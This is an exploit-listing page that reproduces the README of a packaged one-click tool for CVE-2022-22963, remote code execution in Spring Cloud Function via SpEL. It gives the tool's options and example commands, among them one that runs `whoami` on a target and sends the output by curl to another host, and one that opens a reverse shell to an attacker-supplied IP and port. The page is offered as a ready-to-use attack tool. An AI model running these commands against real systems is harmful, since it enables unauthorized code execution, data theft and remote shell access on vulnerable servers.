Sploitus

Exploit for CVE-2022-22963

kitploit · 2026-08-25

Exploit Code

MARKDOWN75 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHARIS3306-CVE-2022-22963
# CVE-2022-22963 (spring cloud function sple rce)

### spring cloud function 원클릭 활용 도구! by charis

#### 블로그 https://charis3306.top/

##### exe 파일로 패키징되어 바로 사용 가능

#### 명령어 주제

root@kitploit:~
    
    
    usage: Spring-cloud-function-spel0.2.exe [-h] --check CHECK [--route ROUTE] --url URL [--ip IP] [--port PORT] [--proxies PROXIES] [--cmd CMD]
    
    spring cloud function 一键利用工具! by charis 博客https://charis3306.top/
    
    options:
      -h, --help         show this help message and exit
      --check CHECK      检测方式post或get方式,--check get --check post
      --route ROUTE      检测路由，默认是functionRouter
      --url URL          输入利用的url
      --ip IP            反弹shell地址ip
      --port PORT        反弹shell地址端口
      --proxies PROXIES  启用代理
      --cmd CMD          要执行的命令
    
    

\--check 是必选项

#### 사용 도움말 주제

root@kitploit:~
    
    
    Spring-cloud-function-spel0.2.exe --help
    

![image](https://raw.githubusercontent.com/charis3306/CVE-2022-22963/main/1.png)

> 기본 검사 --check는 필수 선택이며, --route는 취약점이 존재하는 경로입니다. dnslog 또는 sleep을 사용하지 않고 탐지하면 오탐이 발생할 수 있습니다!

root@kitploit:~
    
    
    Spring-cloud-function-spel0.2.exe --check post --url http://www.charis3306.top
    

![image](https://raw.githubusercontent.com/charis3306/CVE-2022-22963/main/2.png)

##### 명령 실행으로 활용 가능 여부 확인

root@kitploit:~
    
    
    Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --cmd "curl http://192.168.1.3:8080/`whoami`"
    

![image](https://raw.githubusercontent.com/charis3306/CVE-2022-22963/main/3.png)

##### 리버스 셸

root@kitploit:~
    
    
    Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --ip 192.168.1.3 --port 9999
    

![image](https://raw.githubusercontent.com/charis3306/CVE-2022-22963/main/4.png)

#### 마음에 드셨다면 별표(Star)를 눌러주세요

#### 문제 제보 lssues 또는 이메일로 연락 some-email@example.com